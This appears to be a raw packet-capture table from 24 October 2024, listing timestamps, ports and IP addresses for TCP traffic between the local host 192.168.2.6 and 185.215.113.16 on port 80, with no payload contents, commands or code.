Oct 24, 2024 04:58:15.053164005 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:15.053180933 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:15.053195000 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:15.053198099 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:15.053214073 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:15.053225040 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:15.053231955 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:15.053237915 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:15.053260088 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:15.053268909 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:15.072592974 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:15.072659016 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:15.072673082 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:15.072688103 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:15.072724104 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:15.072746992 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:15.073601007 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:15.073627949 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:15.073646069 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:15.073682070 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:15.073693037 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:15.073771954 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:15.073787928 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:15.073805094 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:15.073848009 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:15.073978901 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:15.074026108 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:15.074047089 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:15.074063063 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:15.074074030 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:15.074080944 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:15.076670885 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:15.076689005 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:15.076714039 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:15.076730013 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:15.076741934 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:15.076745033 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:15.076741934 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:15.076771021 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:15.076772928 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:15.076772928 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:15.076788902 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:15.076796055 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:15.076802969 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:15.076812029 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:15.076819897 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:15.076828003 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:15.076839924 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:15.076842070 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:15.076858044 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:15.076864004 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:15.076874971 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:15.076884985 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:15.076888084 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:15.076896906 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:15.076911926 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:15.076916933 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:15.076931953 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:15.076937914 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:15.076951981 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:15.076984882 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:15.076994896 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:15.076994896 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:15.077006102 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:15.077089071 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:15.077102900 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:15.077116966 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:15.077133894 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:15.077136993 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:15.077150106 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:15.077171087 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:15.077193022 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:15.077234030 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:15.077238083 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:15.077248096 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:15.077274084 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:15.077274084 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:15.077279091 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:15.077287912 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:15.077297926 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:15.077312946 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:15.077321053 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:15.077321053 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:15.077338934 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:15.077370882 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:15.077377081 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:15.077404022 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:15.077418089 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:15.077425003 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:15.077444077 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:15.077452898 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:15.077492952 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:15.077508926 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:15.077523947 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:15.077553988 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:15.077557087 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:15.077577114 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:15.077601910 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:15.077642918 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:15.077658892 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:15.077675104 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:15.077689886 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:15.077704906 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:15.077707052 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:15.077722073 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:15.077727079 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:15.077738047 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:15.077754974 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:15.077779055 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:15.077835083 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:15.077882051 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:15.077908993 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:15.077925920 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:15.077941895 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:15.077955008 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:15.077970028 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:15.077987909 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:15.078016996 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:15.078032970 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:15.078066111 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:15.078068018 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:15.078078985 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:15.078083992 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:15.078099966 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:15.078128099 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:15.078150988 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:15.115823984 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:15.115840912 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:15.115855932 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:15.115884066 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:15.115921974 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:15.116596937 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:15.116607904 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:15.116621017 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:15.116653919 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:15.116655111 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:15.116664886 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:15.116677999 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:15.116684914 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:15.116712093 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:15.116729021 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:15.116754055 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:15.116797924 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:15.116825104 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:15.116868019 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:15.116894960 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:15.116908073 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:15.116919041 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:15.116933107 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:15.116945028 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:15.116945028 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:15.116965055 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:15.116971016 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:15.116997957 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:15.117058039 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:15.117069960 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:15.117082119 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:15.117095947 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:15.117110968 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:15.117141008 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:15.117175102 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:15.117187023 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:15.117197990 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:15.117217064 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:15.117218018 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:15.117249966 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:15.117269993 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:15.117291927 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:15.117392063 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:15.117403030 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:15.117415905 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:15.117435932 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:15.117446899 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:15.117459059 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:15.117486000 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:15.117486954 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:15.117499113 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:15.117511988 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:15.117528915 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:15.117538929 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:15.117559910 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:15.117588043 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:15.117624044 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:15.117635965 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:15.117664099 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:15.117686987 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:15.117690086 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:15.117702961 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:15.117713928 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:15.117743015 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:15.117763996 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:15.117835045 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:15.117846966 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:15.117857933 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:15.117885113 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:15.117889881 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:15.117906094 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:15.117911100 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:15.117922068 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:15.117939949 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:15.117952108 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:15.117963076 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:15.118071079 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:15.118083954 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:15.118094921 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:15.118124008 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:15.118140936 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:15.119740963 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:15.119782925 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:15.119792938 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:15.119800091 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:15.119829893 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:15.119837999 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:15.119849920 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:15.119863033 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:15.119880915 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:15.119899988 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:15.119930983 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:15.119942904 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:15.119952917 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:15.119976044 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:15.120001078 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:15.120002031 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:15.120023966 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:15.120065928 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:15.153455019 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:15.153467894 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:15.153479099 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:15.153510094 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:15.153553963 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:15.159295082 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:15.159353971 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:15.159367085 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:15.159399986 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:15.192038059 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:15.192080975 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:15.192115068 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:15.192178965 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:15.192878008 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:15.192909956 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:15.192938089 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:15.192962885 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:15.192991018 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:15.193023920 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:15.193042994 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:15.193072081 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:15.193075895 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:15.193171978 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:15.193200111 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:15.193238974 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:15.193284988 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:15.193312883 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:15.193356991 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:15.283428907 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:15.345257044 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:15.345310926 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:15.345345020 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:15.345377922 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:15.345411062 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:15.345443964 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:15.345477104 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:15.345509052 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:15.345520020 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:15.345520020 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:15.345520020 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:15.345566034 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:15.345613003 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:15.345617056 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:15.345650911 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:15.345683098 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:15.345695019 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:15.345716000 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:15.345750093 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:15.345761061 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:15.345783949 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:15.345791101 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:15.345815897 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:15.345869064 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:15.392427921 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:15.392463923 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:15.392827034 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:15.431710005 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:15.431783915 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:15.431819916 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:15.431854010 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:15.431862116 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:15.431890011 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:15.431909084 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:15.431948900 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:15.431982994 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:15.432030916 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:15.432071924 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:15.432101011 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:15.432145119 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:15.464263916 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:15.464294910 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:15.464349031 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:15.551160097 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:15.551225901 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:15.551279068 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:15.551306963 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:15.551332951 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:15.551367998 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:15.551419973 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:15.551420927 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:15.551453114 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:15.551486015 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:15.551496029 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:15.551517963 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:15.551532030 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:15.551553965 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:15.551646948 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:15.642051935 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:15.642070055 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:15.642143011 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:15.670312881 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:15.670351028 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:15.670387030 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:15.670397043 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:15.670423985 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:15.670471907 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:15.822010040 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:15.822027922 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:15.822066069 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:15.822082043 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:15.822098017 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:15.822110891 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:15.822144032 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:15.822146893 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:15.822169065 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:15.822180986 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:15.822185993 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:15.822201967 CEST	80	49774	185.215.113.16	192.168.2.6
